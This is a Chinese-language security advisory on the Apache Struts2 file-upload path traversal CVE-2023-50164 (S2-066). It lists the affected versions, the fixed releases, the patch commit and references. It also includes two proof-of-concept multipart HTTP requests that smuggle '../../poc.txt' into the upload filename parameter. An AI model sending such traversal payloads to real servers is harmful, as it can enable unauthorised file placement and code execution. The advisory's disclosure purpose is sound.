緊急通報: Apache Struts2 高風險漏洞曝光遠端程式碼執行漏洞-立即升級

Apache Struts 程式碼執行漏洞(CVE-2023-50164),攻擊者可以控製文件上傳參數執行路徑遍歷,在某些情況下可以上傳惡意文件,從而執行任意程式碼。

漏洞描述:

Apache Struts2是一個用於開發Java EE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。 Apache 發布了安全警報,Struts 2 開源Web應用程式框架中存在嚴重安全缺陷,該缺陷可導致遠端程式碼執行。該漏洞編號為CVE-2023-50164,根源於有缺陷的“文件上傳邏輯”,可能導致未經授權的路徑遍歷,並在被利用的上傳惡意檔案並實現任意程式碼的執行。

漏洞影響:

2.5.0 <= Struts <= 2.5.32

6.0.0 <= Struts <= 6.3.0

 

漏洞證明:

POC一:
——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”Upload”; filename=”poc.txt”
Content-Type: text/plain

test

——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”uploadFileName”;

../../poc.txt

——WebKitFormBoundary5WJ61X4PRwyYKlip–

POC二:

POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary5WJ61X4PRwyYKlip
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.7
Content-Length: 593

——WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name=”Upload”; filename=”poc.txt”
Content-Type: text/plain

test

——WebKitFormBoundary5WJ61X4PRwyYKlip–

漏洞修復:

官方已有可更新版本,建議用戶盡快更新至安全版本:

Struts >= 2.5.33

Struts >= 6.3.0.2

補丁:https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7

參考:

https://cwiki.apache.org/confluence/display/WW/S2-066

https://github.com/apache/struts/compare/STRUTS_6_3_0…STRUTS_6_3_0_2#files_bucket

https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7

https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上傳分析-S2-066/

原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/tw/new-critical-rce-vulnerability-discovered-in-apache-struts2.html

讚! (2)
以前的 2023年12月12日下午8:05
下一個 2023年12月14日下午10:04

相關推薦